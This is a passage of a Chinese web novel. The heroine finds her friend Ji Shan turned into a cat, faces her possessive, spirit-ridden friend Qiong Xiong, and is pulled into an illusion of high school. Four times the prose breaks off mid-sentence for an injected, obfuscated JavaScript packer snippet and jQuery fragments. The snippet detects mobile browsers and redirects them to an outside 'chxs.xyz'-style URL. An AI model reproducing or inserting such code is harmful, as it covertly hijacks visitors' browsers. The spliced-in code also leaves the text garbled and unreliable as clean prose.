“那就这样吧。我先给你介绍一下我们的同事。接着,你就熟悉熟悉情况就好了。”
小可一一介绍了其他人,可钟励真的是没办法记住每一个人,好记性不如烂笔头,她掏出手机加了其他人的联系方式,看久了应该就能记住了。
小猫们都很亲人,一只三花猫悠闲悠闲过来了,扯着钟励的裤脚,喵了一声。
“她叫三色杯,很凶的,是这里的老大。摸她的时候要小心一点,虽然有时候真的亲人,但偶尔会突然翻脸。”
小可说着说着指了指角落里墙上挂着的几张照片,是三色杯凶狠的模样,连牙齿都露了出来。
“真是猫不可貌相啊。”钟励感叹道,看着很可爱,实则会挠人。
她们都有自己的事情要忙,钟励一开始还没熟悉,就先被安排去铲猫砂了,毕竟这个应该算是比较简单的。
钟励带着口罩手套,一边铲猫屎一边摇头:“没想到一个个看着可爱,还挺能拉的。”
终于铲完了,钟励站起身来锤了捶腰,也不知道是年纪大了还是久坐的原因,腰总是特别容易累。
“垃圾桶就在外面,麻烦你去扔咯。”
钟励点点头,举起手做了一个OK的手势。
当她走到楼梯处的时候,没多想直接拎着垃圾袋跑上去了。
二楼是住宿的地方,她直接略过跑去三楼。人都在一楼忙活,二楼没人。
钟励关上门,她们都在里面忙,她得上去看看情况。万一纪善在上面。
当她小心翼翼来到三楼的时候,发现陈设跟楼下并没有太大的区别,但是却比楼下气氛阴森很多。
她拧了拧其中一间门,没有上锁,“吱嘎”一声,门被缓缓推开。
钟励轻轻走了进去,这里只有基本的设施,可能是因为没有人在,缺少了很多人气,远远没有楼下温馨。
她没发现什么,从第一个房间出去了。她扫了一眼大体环境,抬脚直直朝最里边的房间走去。
刚一接触门把上,一阵阴凉的气息从门把上传来,门推开后,里面空空荡荡,最里边有一个很大的行李箱,大到诡异,让看多了悬疑剧的钟励觉得其实行李箱里藏了一个人。
突然,行李箱处传来窸窸窣窣的动静,像是某种生物跟铝合金的行李箱表面摩擦。
“蟑螂?老鼠?”
钟励的心轻松了不少,蟑螂跟老鼠不可怕,至少比人的尸体好多了。
“喵。”一只小猫从行李箱与墙的夹角处钻了出来,一路小跑直直奔着钟励的方向而来。
是一只调皮的奶牛猫,一接近钟励后,直接一脑袋倒在了钟励鞋子上面。
“喂!”这个机构的猫还真是格外亲人啊,难道就没有很凶的,到了必须要放归野外的那种类型吗?
钟励包里的功德簿,在她包里横冲直接,还好她只拉上了一半的拉链,不然非得把她的包给弄破。功德簿从空隙里冲了出来,然后飘然落下盖在了躺着的小猫身上。
什么意思?钟励拧起眉头,百思不得其解。难道是功德簿特别善良,生怕仰躺着的小猫着凉,所以把自己当被子盖在了小猫的身上。这合理吗?不合理。
可是钟励脑海中浮现一个更加不合理的猜测:纪善变成了小猫,她面前的这一只。
“那个,你要是纪善的话,就给我喵两声。”
人要是变成了猫,智商应该也没有随之下降吧,还有学习的语言能力,大概还健在吧。
约莫过了十几秒,躺在地方的小猫强撑着抬起头,虚弱喵了两声,仿佛刚刚朝她冲过来已经耗费了全身的力气。
“我去,纪善你真的变成猫了啊。”难道说他不是变成了猫,而是他的本体本来就是猫,现在只是原型。
行吧,不管怎么说,目的是达成了。钟励捏着纪善的后脖子,小心翼翼将他塞进了包里,而纪善似乎又陷入了沉睡,或许是身体虚弱吧。
“钟励,你怎么来了三楼?”
意外总是随时发生的,小可发现钟励来了禁区。
钟励结结巴巴的,她指着包里的小猫对小可说道:“我刚刚是发现了一只猫留上来了,怕他到处乱拉,所以我也跟着上来了。”
“行吧,那走吧。”小可对于钟励的擅自行动没有一点儿责怪的意思。
“这不是禁区吗?”钟励憋不住她的好奇心,开口问了,主要也是小可看着面善,人也不错,她才有勇气问出来。
小可听完哈哈大笑,“我骗你的。这不是不是什么鬼屋,哪有什么禁区。只是三楼是投资人来的地方,怕打扰到她,所以我们都很少来这边,久而久之就叫禁区了而已。”
原来是这样,钟励深吸了一口气,还以为她真的擅闯了什么地方,她踏入三楼之前,可都做好了会被拖入恐怖副本的心理准备。
“哦对了,我来找你,是因为投资人来了,让你下去见见。”
小可走在钟励前面,满脸笑容,脚步轻快,心情很不错。
“我要是告诉你我们投资人是谁?你保准得吓一跳。”
钟励摸了摸自己胸腔处跳动的心脏,心想她什么事情没经历过,不可能会被吓着。
她们只还在二楼的楼梯里呢,就听到一楼房里传来大家开心的大笑声。
其中似乎还有钟励特别耳熟的一个声音,但她摇摇头,心想可能只是幻觉,或是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779686|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门太厚了,隔音导致的幻觉。
“大家辛苦了。”
小可推开了门,钟励可以看到站在屋子中间的,背对着她的一抹倩影。
她站在这些人中间,褪去了身上的明星光环,仿佛又回到了素人时期。
钟励抬手捏了一下包里纪善的耳朵,温热的触感让她终于感觉自己站在了实处,她从纪善消失的时候开始就觉得浑身轻飘飘的。
“琼芎。”她冷静淡定喊出了这个名字,就跟她之前无数次叫琼芎一样,叫她递纸条,叫她一起上厕所,叫她去小卖部。
“震惊吧,我们投资人可是……”小可的话还没有说完,就被转身回过头来的琼芎打断了。
“钟励,没想到你能发现这里。还是说比起当我的助理,你更喜欢跟猫相处?那也可以,反正都在我的名下。”
“你够了没有?难道你在玩什么过家家吗?”
钟励冷了脸,她通常不太爱生气,除非是冒犯到她的边界。对于朋友她更是忍让,一般生气了都是发生了必然要争吵的事情。
屋子里的其他人也沉默了下来,钟励偏过头,深深吐出了一口气。
“聊聊吧,去楼上。”琼芎朝她走过来,就跟之前无数次一样熟稔搂住了她的臂弯,身上依旧是熟悉的柑橘类香气。
只不过钟励这一次,毅然决然甩开了,她说道:“走吧。”
三楼,门轻轻合上了。钟励也不客气就跟自己家一样,一屁股坐在了沙发上,她坐下去后才注意到没看沙发脏不脏,免得到时候她站起来,黑色的裤子上屁股的地方有两个白灰色的印子。
“沙发是干净的,她们每周都来打扫一次。”
琼芎的话打断了钟励起身到一半的动作。
钟励轻咳一声,“哦。你没有什么解释吗?”
她内心惶恐是必然的,她突然发现,自己一直朝着琼芎的方向在走。或者换个说法,琼芎在她的必经之路设置了自己的驻点。
或许是她的家庭创伤让她出现了这种极强的掌控欲,钟励调整了一下自己的状态,表情也没有那么冷了。
“我们不再是小时候那样可以做到亲密无间了,每个人都会有自己的空间。哪怕我们是最好的朋友,你也没必要把我罩在你的羽翼下,我有自己的路。”
钟励想明白了,琼芎可能是怕她生活得不好,所以才屡次提出去她那里上班。就跟钟励她妈妈一样,在钟励初次独居工作的时候,天天打电话问情况,仿佛她失去了自理能力。
“行了,快把纪善变回去吧。”钟励掏出藏在她包里呼呼大睡的纪善,对着琼芎说道。她因为其他事情转移了注意力,忘了她其实现在不应该知道琼芎的恶灵身份的,至少明面上没有说破。
琼芎眼里划过一丝红光,声音冷漠:“你知道了。”
“所以,你要站在他那边吗?”
什么?钟励还没反应过来琼芎是什么意思,只见纪善直接从她手中被夺走,琼芎掐着纪善的脖子,可纪善真的跟死了一样,一动不动的。琼芎对钟励说道:
“二选一。”
“选一个吧。”
40. 第 40 章
开什么玩笑,还二选一。现在可不是课间休息十分钟的时候,容得两人嘻嘻哈哈的。
钟励包里的功德簿记得团团转,竟然像有了灵魂一般,她轻轻抚摸安抚,让它不要着急。
“二选一是什么意思?”
钟励之前之所以没有跟纪善说明琼芎的事情,主要是怕纪善一刀切。可没想到这两个人都同样极端,非要其中一个人死的样子。
她使劲忙着寻找解决方法,看来都是没用的。钟励真想撂下不管了,两个人爱怎么打怎么打。
“琼芎,我知道你现在不是之前的你了,你身上也不是只有你一个人。”
钟励尽量委婉一点,她能感觉到目前跟她对话的是琼芎,不要唤醒她身上的恶灵就好。
“你什么都知道了?”
琼芎轻声问道,她浑身松懈了下来,手里攥着的纪善也实力从半空中跌落下来,“啪”一声跌到地上,一动不动。
“不是,纪善你……没事吧。”
钟励伸出一根手指放到纪善鼻子下面,直到感受到微弱但热乎乎的气息,她这才放心下来。
确认人没事,钟励重新将视线移到琼芎身上,可能是天逐渐暗下来了,外面的光线慢慢减弱,屋子里没开灯,她也有点看不清琼芎的脸了。
“我们好好聊一下吧,我先去开灯。”
“等等,不要开灯。”
琼芎一只手捂着脸,微微低着头,说话的声音有些颤抖。
钟励也没再动,她站在原地,尊重琼芎不开灯的意愿,虽然她不明白为什么。
她记得纪善之前说过的,恶灵能跟着她,琼芎并不无辜,她肯定也是做了一些不好的事情。
“琼芎,回头是岸。现在还来得及。”
钟励想得很简单,只要琼芎愿意改正,并将纪善变回去。加上钟励她自己再求求情,应该没事的。把恶灵赶走就好了。
“琼芎,你不是出于自身意愿做出的事情吧。”
她盯着躺在地上恍如死去的纪善,对琼芎发问道。
只要她说不是,纪善听到了,那她的错就大大减小的。可能吧,她希望她的罪行减小一点。她愿意一起给纪善道歉,和所有琼芎伤害过的人。
“我是自愿的。”
“对,你听到了吧,她说她不是……”
钟励猛地止住话头,脑子才意识到刚刚琼芎说了什么。她朝着琼芎的方向走了几步,但她走几步,琼芎就退几步。
钟励不信邪又继续往琼芎的方向走,最后发现她走不了了,她面前竖起一面透明的墙,阻挡她继续前进,看得到人,但接触不到。
“你在干什么?”钟励突然意识到,不是所有的事情都能朝着她想要的方向去发展。
“我跟他你选谁啊?”
琼芎还是那个问题。
这问题简直跟鬼打墙一样,钟励无力叹了口气,“你们不是一样的。”
她知道朋友跟好感对象的区别。她就算很喜欢纪善,也不会为了纪善抛弃琼芎,友情跟爱情可以兼得啊。
“所以我比不上他?”
琼芎又冒出来一个让钟励百思不得其解的结论。
“不是,你怎么得出的结论。你这种逻辑推理能力,可考不了公的。”
一个人所做出的行为必然是有原因的,就像现在大家都会探讨原生家庭,这几乎觉决定了一个人的性格。
琼芎,她身上发生了什么事情吗?
钟励想到之前琼芎父亲给她打电话,她知道,琼芎父母早年就已经离婚了,说是为了她离婚不离家,这是琼芎发现藏在衣柜底下离婚证后她父母的说辞。
琼芎十分愧疚,以为都是自己的存在才连累了父母,无法让他们自由,去寻找属于自己的幸福。
可后来琼芎意外得知,父母双方在外面都有相好,并且也有了孩子。
得知真相的那天,恰好下着大暴雨,她发觉家里的空气太恶心,让她难以呆下去,仿佛下一秒就会窒息而死。
于是她什么也没带,径直跑出来找钟励。那个时候琼芎他们已经搬走了,不住在钟励附近。
钟励在家洗了一个热水澡,一边擦头发一边玩手机的时候,突然听到敲门声,她还以为是打雷声太大听错了。
她轻声哼着歌,寻找好看的电视剧,等会儿她躺到床上舒舒服服地看。
“钟励,钟励。”
不是幻觉。钟励起身走到客厅,父母都不在家,有事情回老家了。所有只有她一个人呆在家里。
可雷雨声太大,她分辨不清是谁在叫她。难道是坏人吗?
她站在客厅中间,看着大门咽了咽口水,她悄悄走动,贴近门边。
“钟励,是我,你可以帮我开门吗?”
琼芎?钟励认出了门外的人,但她依旧保有戒心,通过猫眼往外看,可能因为下雨雾蒙蒙的,猫眼都模糊了,但还是可以辨认出来是琼芎没错。
钟励不再多想,她解开反锁,直接拉开门。
不料刚打开门,琼芎像一只汲取水源的生物一般朝她扑来,她浑身都湿透了,脸上分不清的泪水还是雨水,眼睛都哭肿了。
刘海乱糟糟贴在脸上,钟励伸出手将贴在脸上的湿发拨开,又替她擦了擦眼泪,温柔问道:“怎么了?还好吗?”
人在难过的时候最怕安慰了,泪水犹如决堤的河坝,一泻而下。
“钟励,我就像一个笑话一样。”琼芎一把抱住钟励,钟励能感受到琼芎温热的眼泪跟冰凉的雨水滴在她身上的感觉。
“他们都不要我,他们都有自己的孩子了。”
钟励听着一头雾水,但她知道下意识轻拍琼芎的背部安抚道:“你还有我。”
后续的经过琼芎都一五一十倾泻出来了,以说一句话就打一个哭嗝的方式。
她早知道琼芎家庭的氛围不是很好,但也没料到是这种程度,在外面都有私生子了。
“抱歉,弄湿了你的衣服。”
琼芎抱着钟励哭过以后也缓和了很多,只是她的眼睛明天早上起来一定会变成一只悲伤蛙。
钟励摇摇头,“没有。我的头发本来就是湿的,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788237|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看。”
她抓起肩头处的一缕头发,想证明给琼芎看,但是两个人靠得太近,她扯的头发也有琼芎的一部分头发在里面。
琼芎盯着两个人的一股头发出神,她眨眨眼,视线投向了钟励,“你说,我们会永远像这缕头发一样,不分开吗?”
夜晚的光线不好,两个人的头发看着没有区别,就像一个人的一样。可钟励知道她的头发偏黑,琼芎的头发偏棕,要是白天,一定能区分出来的。
不过她还是点点头,做出了肯定的回答:“那是当然,我们永远都是好朋友。”
琼芎没有满意,她又问:“要是你以后有男朋友了呢?结婚了呢?有自己的小孩了呢?”
钟励本人比较偏当下,她是能活一天就潇洒一天的派别。对于琼芎的问题,她既不想让朋友难过,也不想违背自然规律(万事万物都在变化,以后的事情是说不准的)。
可安慰人就得放出这种态度嘛,她最终点了点头,你在心里占据独一无二的位置。
这话也不假,每个人都是特别的,所以每个人在别人心里的位置都是不一样的。
朋友有朋友的位置,恋人有恋人的位置,不一样且无法互相替代。
思绪从过去的记忆中苏醒,钟励觉得可能是父母又刺激到了琼芎,于是她试图讲述其他正面例子,希望减少她目前过于沉迷在悲伤的情绪当中,简而言之就是转移话题。
“其实,其实遇到对的人也就还好。是时候该走出来了。”她承认这算站着说话不腰疼。
没料到琼芎一个箭步上前,握住了钟励的肩膀,只见她眼睛里满是红血丝,嘴唇已经被咬出血了,声音似乎是从嗓子里挤出来的:“所以,你要跟别人走了是吗?那个所谓遇到对的人。”
额……
转移话题做到了,可是好像还不如不转。
“你忘了你之前说过的话吗?我们要永远在一起的,你要抛弃我了是吗?”
琼芎说到后面声音变得轻飘飘的,她松开了桎梏钟励的双手,视线转移到在地上躺尸的纪善身上。
她指着纪善,眉头一展,露出了一个甜美的笑容,只不过在现在的氛围当中显得很诡异,她转过头来对钟励说道:“所以,都是这个男人的错。”
“只要他死了,我们就能回到从前了。”
说时迟那时快,钟励还没反应过来,只见琼芎手里出现了一道红光,直直朝着纪善去。
不妙,钟励的第一反应。她来不及多加思考,只觉得不能再让琼芎多犯错了。她往纪善的方向跑去,挡在他的前面。
琼芎见钟励冲过来了,只能收回自己的力量,但她身上逐渐浮现出莫名的黑雾,越来越浓,心脏中间的位置也出现了一个小漩涡,随着黑雾的浓度上升,漩涡也越来越大。
钟励都能瞧见漩涡中心的黑点,她一阵心慌。
紧接着,漩涡产生了吸力,钟励趴在地方都能感受到自己正在一步步被吸往漩涡。
“我去。”
最终吸力越来越大,钟励跟纪善一起被吸进了漩涡里。
41. 第 41 章
眼前一阵晕眩,钟励浑身酸痛,她也不想挣扎了,干脆全身心放松下来。哪怕她掉的地方是悬崖她也认了。
“钟励,钟励!”
钟励闭着眼睛,大脑一片空白,她迷迷糊糊听到有人在喊她,突然浑身一激灵。这声音好像她高中教导主任啊,哪怕她毕业多年,每次听到这个声音都会起鸡皮疙瘩。
“砰砰砰”的拍打桌子的声音在钟励耳边响起,震得她都睡不着了。
“我去。”钟励下意识说道。砰砰的敲木桌的声音对着你的耳朵,是人都会有反应。
“真没素质,这样我耳朵会聋的好吧。”
钟励眼睛还没睁开呢,她用手摸了摸耳朵,缓和过来。
“我没素质,那你在课上睡觉就有素质了?要不要给你发一个三好学生奖状啊?”
这声音真的好像教导主任那地中海啊,说话的语调总是习惯性最后一个字上扬。
钟励揉揉眼睛后睁开眼皮,面前出现一个地中海中年男性的一张大脸,熟悉的蓝色条纹polo衫加西装裤,脚上踩着一双皮质拖鞋,肚腩微凸。
看到钟励起来,教导主任指着她开口,钟励还没听就知道他要讲什么了。无非又是从集体方面指责她的不是。
“钟励,你知道你这样浪费了多少人的时间吗?全班55名同学,你每耽误一分钟,就是浪费了全班同学55分钟。四舍五入就是一个小时了。”
教导主任抬手看了一眼手表,说道:“现在因为你浪费了两分钟,加起来110分钟,能讲多少题目了?”
她就知道,钟励毫不意外。她醒来后双手撑着脸,不时抬眼看着教导主任,但没认错也没有反驳,她在思考这梦真是太真实了。居然回到高中了,真是令人绝望,她可不想再早上五点多就起床了,比社畜还惨。
社畜还能去厕所摸鱼玩手机呢,学生连上厕所自由都没有。
钟励瞥了一眼教导主任的腰带,皮带上没有挂着钥匙串,那按照时间来说应该不是高一,因为教导主任整天晃荡晃荡带着钥匙串不方便他在走廊蹲守学生,太容易被发现了,所以没过多久他就将钥匙串取下来了。
钟励又抬眼看了一眼黑板上方的墙壁,没有挂着“多考一分,干掉千人”的红色横幅,周边也没有贴满鼓励人心的鸡汤,所以应该也不是高三。那就是高二了,高二,也不是一个好过的时间点啊。
钟励长叹了一口气,大概又是像之前一样进来了什么幻境吧。她生无可恋的表情让教导主任怒了,他一拍桌子,说道:
“钟励,你对我的批评是有什么意见吗?还是说你觉得我说的不对。”
钟励看了他一眼,更烦了,学生的身份限制实在是太大了,不会这段时间她都得被关在暗无天日的监狱里面吧。不行,她试试看能不能联系一下家里,她要请假一段时间,无论发烧还是吃坏肚子什么的,她得回家不能待学校。
叮铃铃的打铃声响起,数学老师手上带着书本跟小蜜蜂迈进了教师,看到教导主任也在后轻轻颔首,并不意外。
“下课来我办公室一躺。”教导主任没再骂人了,他对钟励说道。
天塌了,原来刚刚是下课。钟励这时候才想起来,这教导主任不让下课间学生趴在桌子上面睡觉,说不利于下一节课的学习,并且这样没有活力。
要求他们下课间要么学习,要么实在困了就去走廊走走,一大片趴倒在桌子上不好看。
钟励真的很不想去办公室,但在学校这种相对封闭的地方,她还是保守一些融入规则比较好,太显眼容易被枪打出头鸟,虽然世界是虚幻的,但痛苦是真实的。
“叩叩叩。”
钟励站在办公室门口,抬手轻轻敲了敲门。他们学校比较穷,哪怕是教导主任也是跟其他老师一间办公室,没有什么区别。
教导主任眼皮一抬,原本笑得满脸褶子的脸变得冷漠,白了钟励一眼,她现在是厚脸皮的成年人,早已经不在乎这种事情了。
白眼就白眼,自己吃好睡好才是最重要的。
“主任好。”钟励走几步来到教导主任面前,才发现他旁边还坐着一个人,只是一开始她站的位置看不到人,被隔板挡住了。
熟悉的笑眼,熟悉的鼻间痣,“纪善?”钟励脱口而出。
老乡见老乡,两眼泪汪汪。纪善不在她高中的世界里,那现在是真人。
“你认识他?”教导主任抬手推了推鼻子上架着的眼镜,锐利的眼神差点要透过镜片射出来。
钟励用脚趾头想也知道,可能教导主任怀疑他们俩早恋。高中除了鸡汤特别多以外,还有一个特点,抓早恋。
为了避免不必要的麻烦,钟励立马否决,她摆摆手,讪笑道:“没有,不认识。您听错了,我刚刚自言自语呢。”
教导主任也不知道是信了没有,他看了一眼手表,掐着点又教育了钟励一顿。
钟励盯着地板上的一小块污渍发起呆,教训的话她左耳进右耳出,左脚站累了就换右脚站。
“行了。”教导主任终于讲完了,只见他嘴巴干燥得起皮,他端起桌面上的掉漆蓝色保温杯喝了一口,喝了一口又吐回去了,“嘶”了一声,“好烫。”
“钟励,你把纪善带去你班里吧,他是新来的转学生。”可能是烫到了舌头,说话有点含糊不清。
“好的老师。”钟励压抑住自己兴奋的心情,她真想直接扯过纪善的袖子,推他去角落聊一聊。但在满是监控的校园,她还是算了,免得被哪位查监控的领导抓到,以为真有什么事情,说不定还要叫家长。
“这位同学,跟我来吧。我们的教室接近厕所,你看好位置。”这也是一把辛酸泪,因为靠近厕所,所以他们班的清洁区是厕所。
而学校教学楼也不知道是不是有什么bug,每到考试期间就会停水,厕所什么样子不难想象,可苦了当期的值日生。
钟励跟纪善保持半米距离,就算并肩走,也不会靠近。
出了办公室后,走在回教室的路上,钟励压低声音,却还是难以压抑住她激动的声音:“纪善,纪善!是你吗?”
“是我,是我。”纪善也露出了笑容,回应道。不过他走路
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804140|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么高低肩啊。
钟励纳闷将视线移到了他结实有力的腿上,发现他的右腿好像出了问题,走路一瘸一瘸的。
她拧紧眉头,抬头看向纪善的脸,声音轻柔:“你的腿?”钟励记得他之前腿伤已经好了啊。
纪善闻言也低头去看自己的腿,说道:“进来的时候发现恶怨一直追着我不放,直到我脱力,攻击了我的一条腿之后,他们才满意离开。”
是吗?钟励记不得她被吸进来的场景了,虽然是未知,但似乎并没有危险因素跟着她。
“你好惨啊。”是真心实意的同情。一条腿伤了两次,以后还能好吗?
两个人安安静静走在走廊上,钟励正在思考的时候,前方冲过来一个男生,一边跑一边频繁回头,往后面做鬼脸。
“哈哈哈,来追我啊傻子。”
走廊太窄,又不够长,只跑几步就来到了钟励面前,她还来不及躲到旁边,一张脸就直直冲着她来。
“起开起开。”来人不但不愧疚,反而还让钟励起开,认为是她挡了路。
虽然钟励现在很想指着那男生破口大骂,但当务之急是先躲开,万一被撞出什么大碍,骂人也无用了。
她才偏过身,男生似乎是以为钟励退让了,哪怕是即将撞上来也没有减速,结实往钟励肩膀撞了一下。
撞得钟励站不稳了,往旁边倒。
“没事吧。”只听纪善温和如春风的声音在她耳边响起。
她摔倒后没有接触冰凉的地面,而是旁边人温暖的怀抱,热乎乎的气息,带着柠檬味的沐浴露气味。
纪善的大手撑在钟励的后背,温度透过薄薄的校服传递到钟励身上,像是被他整个人包围了。她仿佛被烫到了,浑身一激灵,在纪善的帮助下站稳后,双手推开了他的肩膀。同时头也不好意思抬起来,可能天气太热了,脸烧得慌。
她抬手朝脸扇了两下风,眼神不敢对视,说话都磕磕绊绊。
“额,那个,那个没素质的人走了是吧。真是服了。”
纪善微微弯腰看着钟励的脸,钟励撇过头,“你看我干什么?”
一双温暖的大手放在了她的额头上,可能手太大了,也盖住了她的眼睛。
“你发烧了吗?脸这么红?”
眼睛要是看不到,听觉就会更灵敏,温柔的嗓音贴近钟励的耳朵,她脸上的热度又上升了一个水平。
“没有没有。”钟励往后退了几步,眼神飘忽,她深呼吸保持镇定。
“我……我还有作业没写,我先回去了。”
钟励一路小跑着回去,把瘸着一条腿的纪善留在原地了,她走到门口才想起来,但要是现在回去的话太尴尬了吧。
当她站在原地纠结的时候,一道熟悉的声音在耳边响起,同时伴随着好闻的柑橘类香气。
“钟励,那个男生是谁啊?我在走廊上看到他抱你了。”
他们的教学楼是连廊,办公室恰好在教室的对面,所以站在教室这边的走廊是可以看到办公室那边的情况的,甚至是她走回来的全程都能看得清清楚楚。
42. 第 42 章
蓝白色校服要是一般人穿,看起来很显臃肿,还容易邋遢。但琼芎穿在身上,宽大的校服更显出她的苗条,随手一扎的马尾,慵懒又不失青春,看起来就跟在拍校园剧一样。
虽然琼芎说话的嗓音轻柔,但钟励却品出了一丝危险的味道,她使劲摇摇头,否决道:“没有,我刚刚是不小心被人撞了,是纪善扶住了我,才没有摔倒。”
“谁撞你了?”琼芎一听钟励这么说,顾不上质问了,凑近钟励,将她全身的看了一遍,又绕了一圈看一遍,一边问:“哪里受伤了吗?”
钟励还以为琼芎的第一反应会是纪善呢,没想到是关心她的安危。可能是现实生活中琼芎对纪善的针对太明显了,让她下意识也以为幻境一样。
这么说来,现在的琼芎还是一个可爱的女高中生啊,她现在可大了她十岁。
钟励长叹一口气,拍了拍琼芎的脑袋,“孩子,我没事。”
年轻时的琼芎还是好相处的。长大后总感觉心里藏了很多事情,她也不好问太多。
琼芎一把拍开钟励的手。
“什么乱七八糟的?摔到脑子了?”
“纪善?你都知道人家名字了?那难道还加了他的联系方式吗?”
联系方式确实有,但不是刚刚加的。钟励不会说谎,干脆将话题转了过去。
“哎呀,上课了上课。小孩子要好好学习,进去学习了,不要聊家常了。”
她双手放在琼芎的肩膀上,推着她一起走进教室。
不过她一踏进教室就恍了神,她坐哪里来着。她突然不记得了,虽然几分钟前她还在座位上,但班级里现在好几个位置都空着,她总不能每个位置都去看吧。
放眼望去,大家的书桌上都黑压压的一层书籍,也很难认出来哪个才是自己的。
“怎么不走?”
“额……说出来你可能不信,我突然不记得我座位在哪里了?”
钟励没有隐瞒琼芎的打算,她们太熟了,而且就算是过去的琼芎,也不会觉得她奇怪的。
“你最近没学太猛吧,晚上要注意休息啊。身体是一切的本钱。”
琼芎说完伸出手指了一下位置,“呐,就在那里,那个倒数第三排。”
钟励顺着琼芎的手指看过去,找到了。
钟励刚迈出脚呢,便感觉到有一股力度拉扯着自己,她回头一看,是琼芎拉着她的衣角,半眯着眼睛看向她:
“一会儿放学了去食堂吃饭,我有话要问你。”
“……”
“好的。”
钟励也不敢说不,琼芎生气起来很可怕的。钟励回到座位上后,绞尽脑汁想着怎么圆谎,琼芎可不好糊弄。
纪善紧跟在班主任身后,一瘸一拐进了教室。虽然他身上有残疾,可依旧挡不住身上清风明月般的气质。反而给他加了一层美强惨的滤镜,更惹人注目。
班主任拍了拍手,眼睛无神,可能是上班上的,也可能是近视的影响。
“安静了啊,别说话了。”
“我们班今天转来一名转学生,大家鼓掌欢迎。”
死气沉沉的班级中注入了一股新鲜血液,大家也“啪啪啪”鼓起了掌,十秒钟后又陷入了寂静,许多人又低下头去做题了。
无论什么帅哥都没有前途重要啊。
“纪善,你做一个自我介绍吧。”班主任拍了拍他的肩膀。
纪善蓝白校服穿在身上,高挺的背脊,虽然走路一瘸一拐但始终抬起头,炯炯有神的眼睛凸显着他的傲骨。似乎无论遇到什么困境,都不会选择放弃。
“大家好,我叫纪善,接下来的日子请大家多多指教。”
又来一阵“啪啪啪”的掌声然后又是一阵寂静。大开大合的情绪还真是让钟励不习惯。
“今天刚好是换座位的日子,班长,你一会儿下课把我分好的座位写在黑板上面。”
“纪善,你暂时就坐在最后那个位置吧。一会儿就分配座位了。”
纪善的位置刚好跟钟励隔着一排,钟励回过头去想给他一个眼神,但后面有人,她一回头,后面的同学抬了抬眼镜,问道:
“有什么事情吗?”
“额……我看一下时间。”他们教室的闹钟在教室的后面墙壁上。
钟励其实觉得这个做法相当反人类,突然猛地回头看时间,不但打破了与后桌的合适距离,还容易扭到脖子,要知道高中生的身体很脆弱的。
但班主任说,要是放在教室前面的黑板,容易分散同学们的注意力,导致一直看时间,不把注意力放在课堂上面了。
但钟励心想,人要是走神,看着老师头上地中海与灯光的反射也能走神。要是不走神,人跑步的时候也可以集中注意力思考题目,不过就是容易摔倒而已。
下课时间到了,班长“唰唰”在黑板上写着分配好的座位号。
钟励目不转睛,她双手捧着脸,祈祷能跟纪善一桌,这样商量事情的时候也方便了很多。
她是真的想回去了,回到高中跟重新下地狱有什么区别,她现在要是重新高考,说不定连之前的一半分数都没有。
班长一笔笔写下端正的字,终于落下最后一笔。
“好了,换座位吧,小声一点搬东西,不要吵到别的班级,不然教导主任发现了会来骂人的。”
钟励站起身来数着黑板上面的座位号,天呐,她惊喜地张大了嘴巴,没想到居然真的跟纪善当同桌了。
她兴高采烈地收拾东西,其实就是往后坐一排而已,很方便。
她转过身朝纪善眨了眨眼,一转头回来的时候,发现琼芎就在不远处盯着她跟纪善的互动全过程。
琼芎手里攥着一支笔,在桌上上无意识转圈,脸上毫无笑意。笔转掉了,她又捡起来接着转。像是心里有什么事情,只能通过无意识的行动来发泄。
死定了,琼芎不好糊弄啊。
钟励挠了挠头,紧咬下唇收拾东西,一会儿吃饭的时候见招拆招吧,先不要提前焦虑,也可能是她多虑了。
“这个雄性灵长类动物是谁?”
没想到琼芎坐在食堂饭桌的第一句话居然是这个。
钟励瞳孔震
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815405|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊,用手肘戳了一下琼芎的手臂,“说什么呢?这个说法太不尊重人家了。”
“他看不懂别人的脸色,非要插进别人好朋友之间的聚餐当中,我还以为他不理解人类社会的规则,所以才这么问的。”
琼芎摊了摊手,面无表情挖起一勺饭吃下去。
